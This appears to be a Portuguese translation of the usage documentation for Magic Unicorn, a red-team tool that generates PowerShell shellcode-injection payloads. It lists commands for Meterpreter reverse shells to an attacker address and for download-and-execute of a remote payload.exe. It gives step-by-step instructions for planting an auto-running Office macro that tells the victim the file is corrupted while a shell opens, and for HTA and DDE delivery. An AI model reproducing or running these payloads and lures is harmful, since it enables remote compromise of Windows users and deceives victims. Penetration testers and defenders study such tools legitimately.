
Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly na Defcon 18.
Escrito por: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Magic Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly no Defcon 18.
O uso é simples, basta executar o Magic Unicorn (certifique-se de que o Metasploit esteja instalado se estiver usando métodos do Metasploit e no caminho correto) e o magic unicorn gerará automaticamente um comando PowerShell que você precisa apenas copiar e colar o código PowerShell em uma janela de linha de comando ou através de um sistema de entrega de payload. O Unicorn suporta seu próprio shellcode, cobalt strike e Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Ataques de injeção nativa do PowerShell x86 em qualquer plataforma Windows.
Escrito por: Dave Kennedy na TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Créditos: Matthew Graeber, Justin Elze, Chris Gates
Felizes Magic Unicorns.
Uso: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
Exemplo PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Exemplo Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Exemplo Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Exemplo Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Exemplo HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Exemplo HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Exemplo HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Exemplo DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Exemplo CRT: python unicorn.py <path_to_payload/exe_encode> crt
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file>
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file> macro 500
Exemplo Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (exportar CS no formato C#)
Shellcode Personalizado: python unicorn.py <path_to_shellcode.txt> shellcode (formatado 0x00)
Menu de Ajuda: python unicorn.py --help
Tudo agora é gerado em dois arquivos, powershell_attack.txt e unicorn.rc. O arquivo de texto contém todo o código necessário para injetar o ataque PowerShell na memória. Observe que você precisará de um local que suporte injeção remota de comandos de alguma forma. Muitas vezes isso pode ser através de um documento do excel/word ou através de comandos psexec dentro do Metasploit, SQLi, etc. Existem inúmeras implicações e cenários onde você pode usar este ataque. Basta colar o comando do powershell_attack.txt em qualquer janela de prompt de comando ou onde você tenha a capacidade de chamar o executável do PowerShell e ele lhe dará um shell de volta. Este ataque também suporta windows/download_exec como método de payload em vez de apenas payloads do Meterpreter. Ao usar o download e exec, basta colocar python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe e o código PowerShell baixará o payload e o executará.
Observe que você precisará ter um listener ativo para capturar o ataque.
Para o ataque de macro, você precisará ir em Arquivo, Propriedades, Faixa de Opções e selecionar Desenvolvedor. Depois de fazer isso, você terá uma guia Desenvolvedor. Crie uma nova macro, chame-a de Auto_Open e cole o código gerado nela. Isso será executado automaticamente. Observe que uma mensagem será exibida para o usuário informando que o arquivo está corrompido e fechará automaticamente o documento do Excel. ISSO É COMPORTAMENTO NORMAL! Isso está enganando a vítima, fazendo-a pensar que o documento do Excel está corrompido. Você deve obter um shell através da injeção do PowerShell após isso.
Se você estiver implantando isso contra versões do Office365/2016+ do Word, você precisa modificar a primeira linha da saída de: Sub Auto_Open()
Para: Sub AutoOpen()
O nome da macro em si também deve ser "AutoOpen" em vez do esquema de nomenclatura legado "Auto_Open".
NOTA: AO COPIAR E COLAR O EXCEL, SE ESPAÇOS ADICIONAIS FOREM ADICIONADOS, VOCÊ PRECISA REMOVÊ-LOS APÓS CADA UMA DAS SEÇÕES DO CÓDIGO POWERSHELL SOB A VARIÁVEL "x" OU OCORRERÁ UM ERRO DE SINTAXE!
O ataque HTA gerará automaticamente dois arquivos, o primeiro é o index.html que informa ao navegador para usar o Launcher.hta que contém o código malicioso de injeção do PowerShell. Todos os arquivos são exportados para a pasta hta_access/ e haverá três arquivos principais. O primeiro é index.html, o segundo Launcher.hta e o último, o arquivo unicorn.rc. Você pode executar msfconsole -r unicorn.rc para iniciar o listener do Metasploit.
Um usuário deve clicar em permitir e aceitar ao usar o ataque HTA para que a injeção do PowerShell funcione corretamente.